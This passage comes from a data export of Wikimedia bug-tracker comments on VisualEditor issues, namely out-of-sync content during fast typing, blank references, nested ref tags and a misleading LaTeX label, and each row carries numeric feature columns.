**Version**: unspecified
**Severity**: major

**Attached**: {F11309}"
238443,VisualEditor: Displayed content and DM out of sync with fast insertion (primarily from test scripts?),"This has been fixed in VisualEditor master as part of gerrit 81213, and we will do an emergency push of this to wmf14 tomorrow to fix it in product; sorry for the disruption.",,,1377657008,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-si6erwgobtecdd3semnx,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,22.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,6.0,22.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.9444444444444446,0.9166666666666666,"This has been fixed in VisualEditor master as part of gerrit 81213, and we will do an emergency push of this to wmf14 tomorrow to fix it in product; sorry for the disruption."
238435,VisualEditor: Displayed content and DM out of sync with fast insertion (primarily from test scripts?),I should mention that the (corrupted) diff view contents is what is actually saved when finally saving the page in VE,,,1377638934,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-si6erwgobtecdd3semnx,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,9.0,4.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,4.217391304347826,0.9130434782608695,I should mention that the (corrupted) diff view contents is what is actually saved when finally saving the page in VE
238429,VisualEditor: Displayed content and DM out of sync with fast insertion (primarily from test scripts?),"I can reproduce this consistently on test2wiki most of the time manually and automatedly all of the time as of the last VE deploy.  To repro manually (I use Chrome): 

* Pick a random page on test2wiki that has existing text
* click Edit for VE. click no other thing.
* Poise your right hand so that you are prepared to click 'Save page'
* With your left hand type randomly very very quickly. While typing with your left hand, click 'Save page' with your right hand

* take a look at the VE page contents (CE I assume).  It will appear to be accurate.  It will be different than what is in the diff view (DM I assume). 

Note: the automated test moves quickly enough that *nothing* typed into the VE edit interface is reflected in the diff view.  I can demo this if you'd like.

Again, this is new behavior as of Aug 26.",,,1377638844,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-si6erwgobtecdd3semnx,task_subcomment,,True,c1,3,False,,,8,,0.5,0.0,1.0,0.5,0.0,6.5,2.5,0.0,0.0,0.5,2.0,2.5,0.0,0.0,0.0,2.5,0.0,5.5,12.5,0.5,1.0,0.0,1.0,0.5,0.0,0.5,0.0,0.0,1.0,1.5,0.0,4.0,2.0,1.0,0.0,3.0,0.5,0.0,0.5,0.5,0.5,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,13.0,1.5,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,12.5,2.5,0.5,7.5,0.0,0.0,0.0,0.0,9.0,0.0,0.5,0.0,7.0,12.5,4.5,0.0,2.0,0.0,7.0,0.0,1.0,1.0,0.0,1.0,0.0,0.5,0.0,3.470253436426117,0.6735932130584192,"I can reproduce this consistently on test2wiki most of the time manually and automatedly all of the time as of the last VE deploy.  To repro manually (I use Chrome): 

* Pick a random page on test2wiki that has existing text
* click Edit for VE. click no other thing.
* Poise your right hand so that you are prepared to click 'Save page'
* With your left hand type randomly very very quickly. While typing with your left hand, click 'Save page' with your right hand

* take a look at the VE page contents (CE I assume).  It will appear to be accurate.  It will be different than what is in the diff view (DM I assume). 

Note: the automated test moves quickly enough that *nothing* typed into the VE edit interface is reflected in the diff view.  I can demo this if you'd like.

Again, this is new behavior as of Aug 26."
238423,VisualEditor: Displayed content and DM out of sync with fast insertion (primarily from test scripts?),"I still can't reproduce these in Chrome/Firefox/Safari/Opera testing on local master, on production test2, or production enwiki/mediawikiwiki.

What does ""can also be triggered manually"" mean - how? Or is this an unreliable/occasional thing? Possibly a system-load issue?

Is this specific to test2?

From the screenshots, the displayed content (from CE) and the data model (in DM) appear to have gotten out of sync, which Shouldn't Ever Happen(tm).",,,1377633524,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-si6erwgobtecdd3semnx,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.5,1.5,2.5,1.5,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,0.5,0.0,5.0,8.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,3.0,0.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.5,0.0,2.0,1.5,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.5,2.0,11.5,0.0,2.0,8.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.5,8.5,5.0,3.5,1.0,0.0,0.5,0.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,3.819019607843137,0.8215686274509804,"I still can't reproduce these in Chrome/Firefox/Safari/Opera testing on local master, on production test2, or production enwiki/mediawikiwiki.

What does ""can also be triggered manually"" mean - how? Or is this an unreliable/occasional thing? Possibly a system-load issue?

Is this specific to test2?

From the screenshots, the displayed content (from CE) and the data model (in DM) appear to have gotten out of sync, which Shouldn't Ever Happen(tm)."
238418,VisualEditor: Displayed content and DM out of sync with fast insertion (primarily from test scripts?),"Created attachment 13176
example 3

**Attached**: {F11316}",,,1377541077,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-si6erwgobtecdd3semnx,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.375,0.8125,"Created attachment 13176
example 3

**Attached**: {F11316}"
238413,VisualEditor: Displayed content and DM out of sync with fast insertion (primarily from test scripts?),"Created attachment 13175
example 3

**Attached**: {F11315}",,,1377541052,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-si6erwgobtecdd3semnx,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.375,0.8125,"Created attachment 13175
example 3

**Attached**: {F11315}"
238407,VisualEditor: Displayed content and DM out of sync with fast insertion (primarily from test scripts?),"Created attachment 13174
example 2

**Attached**: {F11312}",,,1377541029,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-si6erwgobtecdd3semnx,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.375,0.8125,"Created attachment 13174
example 2

**Attached**: {F11312}"
238401,VisualEditor: Displayed content and DM out of sync with fast insertion (primarily from test scripts?),"Created attachment 13173
example 2

**Attached**: {F11311}",,,1377541006,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-si6erwgobtecdd3semnx,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.375,0.8125,"Created attachment 13173
example 2

**Attached**: {F11311}"
238395,VisualEditor: Displayed content and DM out of sync with fast insertion (primarily from test scripts?),"Created attachment 13172
example 1

**Attached**: {F11310}",,,1377540983,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-si6erwgobtecdd3semnx,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.375,0.8125,"Created attachment 13172
example 1

**Attached**: {F11310}"
55345,VisualEditor: Creating a new reference with blank content leads to insertion of a <ref/> tag in the wikitext,"See https://pl.wikipedia.org/w/index.php?title=Wojnicz&diff=37347163&oldid=37312891 for an example - I'm not sure what the problem is, here, since that's a meaningless tag :/.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1377527760,1377649422.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-2537ayvqomhm6aw6be77,task_description,resolved,True,c1,3,False,False,True,8,,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,12.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,3.5348837209302326,0.7441860465116279,"See URL for an example - I'm not sure what the problem is, here, since that's a meaningless tag :/.

--------------------------
**Version**: unspecified
**Severity**: normal"
237658,VisualEditor: Creating a new reference with blank content leads to insertion of a <ref/> tag in the wikitext,Fixed in master; will be deployed on Thursday as part of the regular push.,,,1377649422,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2537ayvqomhm6aw6be77,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,25.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8125,1.0,Fixed in master; will be deployed on Thursday as part of the regular push.
237652,VisualEditor: Creating a new reference with blank content leads to insertion of a <ref/> tag in the wikitext,"Change 81438 merged by jenkins-bot:
Disable inserting/changing references when surface widget is empty

https://gerrit.wikimedia.org/r/81438",,,1377649390,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2537ayvqomhm6aw6be77,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,4.904761904761905,1.0,"Change 81438 merged by jenkins-bot:
Disable inserting/changing references when surface widget is empty

GERRIT_URL"
237647,VisualEditor: Creating a new reference with blank content leads to insertion of a <ref/> tag in the wikitext,"Change 81438 had a related patch set uploaded by Esanders:
Disable inserting/changing references when surface widget is empty

https://gerrit.wikimedia.org/r/81438",,,1377649253,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2537ayvqomhm6aw6be77,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,17.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,5.041666666666667,1.0,"Change 81438 had a related patch set uploaded by Esanders:
Disable inserting/changing references when surface widget is empty

GERRIT_URL"
237642,VisualEditor: Creating a new reference with blank content leads to insertion of a <ref/> tag in the wikitext,"Looks like it's what happens when you insert a reference without typing anything into the box. Hit ""insert reference"", leave the main field blank, go immediately to the insert button, and... https://pl.wikipedia.org/w/index.php?title=Wikipedysta%3AOkeyes_%28WMF%29&diff=37370424&oldid=37257359",,,1377621200,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-2537ayvqomhm6aw6be77,task_subcomment,,True,c1,3,False,,,8,,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,8.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,5.0,0.0,5.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,4.075,0.8,"Looks like it's what happens when you insert a reference without typing anything into the box. Hit ""insert reference"", leave the main field blank, go immediately to the insert button, and... URL"
55303,"Don't allow nested <ref>s, because Cite.php doesn't","From http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#VE.2C_Sfn_template_within_reference.2C_Vcite_error

Adding a <ref> tag (e.g., a bibliographic citation) inside another <ref> tag with a different group (e.g., an explanatory footnote), displays as desired in VisualEditor, but when you save the page, it isn't visible because of T22707 in Cite.php

This is most likely to happen with a ref-creating template like {{sfn}}, since VisualEditor doesn't have the buttons to created nested ref tags directly.

--------------------------
**Version**: unspecified
**Severity**: minor
**URL**: http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&diff=570036528&oldid=570035364",High,80.0,1377373500,1417468754.0,PHID-USER-uf3buojo4ceizjywvyn5,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-tht33qexrstttffqqdac,task_description,resolved,True,c1,3,False,False,False,7,,0.0,0.0,0.0,0.0,1.5,6.5,1.5,0.5,0.0,0.0,2.5,1.5,0.0,0.0,0.0,0.0,0.0,4.5,8.5,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.5,0.0,0.5,0.5,0.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.5,8.0,2.0,0.5,5.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,8.5,3.5,0.0,0.0,0.0,1.0,0.0,0.5,3.0,0.0,1.5,0.0,1.0,2.0,3.706896551724138,0.6982758620689655,"From URL

Adding a <ref> tag (e.g., a bibliographic citation) inside another <ref> tag with a different group (e.g., an explanatory footnote), displays as desired in VisualEditor, but when you save the page, it isn't visible because of T22707 in Cite.php

This is most likely to happen with a ref-creating template like {{sfn}}, since VisualEditor doesn't have the buttons to created nested ref tags directly.

--------------------------
**Version**: unspecified
**Severity**: minor
**URL**: URL"
235284,"Don't allow nested <ref>s, because Cite.php doesn't","We have mismatched behavior.  Either *both* systems should display nested refs, or VisualEditor should stop displaying nested refs to match the limited features available to readers.

Whether this mismatch should be solved by reducing VisualEditor's ability to process nested refs or by increasing the other system's ability to process nested refs is beyond my paygrade.",,,1378762753,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-tht33qexrstttffqqdac,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,2.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,12.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,8.0,2.0,5.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,12.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.876923076923077,0.676923076923077,"We have mismatched behavior.  Either *both* systems should display nested refs, or VisualEditor should stop displaying nested refs to match the limited features available to readers.

Whether this mismatch should be solved by reducing VisualEditor's ability to process nested refs or by increasing the other system's ability to process nested refs is beyond my paygrade."
235274,"Don't allow nested <ref>s, because Cite.php doesn't","(In reply to comment #0)
> Adding a <ref> tag (e.g., a bibliographic citation) inside another <ref> tag
> with a different group (e.g., an explanatory footnote), displays as desired
> in
> VisualEditor, but when you save the page, it isn't visible because of Bug
> 20707
> in Cite.php

If this problem is covered in bug 20707 already I'm not sure what your intention was to file another bug report. Could you clarify please?",,,1377510119,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-tht33qexrstttffqqdac,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,10.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,20.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,6.0,2.0,4.0,0.0,6.0,10.0,8.0,2.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.510204081632653,0.7551020408163265,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

If this problem is covered in bug 20707 already I'm not sure what your intention was to file another bug report. Could you clarify please?"
55251,"VisualEditor: Math editor is called LaTeX, but that is not accurate and possibly confusing","The editor has the title and tooltip ""LaTeX"". This is not entirely correct. It's just the math environment subset for LaTeX that we can handle and support.

The label also conflicts with the visual symbol, which clearly communicates the Math function using the sum symbol. Remember that many people might not even know what LaTeX even is, causing further confusion.

The problem here is that we want to explain to the user that we want him to enter the math using LaTeX, because otherwise he might not understand how to enter his formula. Perhaps that is why the LaTeX label was chosen.

We should find a better way. Perhaps using a label or placeholder. ""Enter formula using AMS-LaTeX""

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=43058",High,80.0,1377252120,1386810532.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-5rnk4jk4usyomimnhvgw,task_description,resolved,True,c1,3,True,False,False,7,,0.5,0.0,0.5,0.5,1.5,4.0,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,8.5,5.5,0.0,1.5,0.5,0.0,0.0,0.5,1.0,0.0,0.0,1.5,0.0,1.5,5.0,3.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,2.5,0.0,0.0,0.5,0.0,0.5,12.5,1.0,1.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,1.0,7.0,2.5,12.5,3.5,1.5,8.5,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.5,5.5,4.0,0.0,2.0,0.0,4.5,0.0,3.0,1.0,0.5,3.0,0.5,0.0,0.0,3.928571428571429,0.6488095238095237,"The editor has the title and tooltip ""LaTeX"". This is not entirely correct. It's just the math environment subset for LaTeX that we can handle and support.

The label also conflicts with the visual symbol, which clearly communicates the Math function using the sum symbol. Remember that many people might not even know what LaTeX even is, causing further confusion.

The problem here is that we want to explain to the user that we want him to enter the math using LaTeX, because otherwise he might not understand how to enter his formula. Perhaps that is why the LaTeX label was chosen.

We should find a better way. Perhaps using a label or placeholder. ""Enter formula using AMS-LaTeX""

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL"
257059,"VisualEditor: Math editor is called LaTeX, but that is not accurate and possibly confusing",verified in test2:https://test2.wikipedia.org/w/index.php?title=13th_december&veaction=edit,,,1386984972,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-5rnk4jk4usyomimnhvgw,task_subcomment,,True,c1,3,False,,,23,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,verified in test2:URL
257052,"VisualEditor: Math editor is called LaTeX, but that is not accurate and possibly confusing",Verified in Betalabs,,,1386824907,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-5rnk4jk4usyomimnhvgw,task_subcomment,,True,c1,3,False,,,23,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,Verified in Betalabs
257045,"VisualEditor: Math editor is called LaTeX, but that is not accurate and possibly confusing",This is now fixed in betalabs after we caused the English messages to get re-synched.,,,1386821195,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5rnk4jk4usyomimnhvgw,task_subcomment,,True,c1,3,True,,,23,,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,22.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9444444444444446,1.0,This is now fixed in betalabs after we caused the English messages to get re-synched.
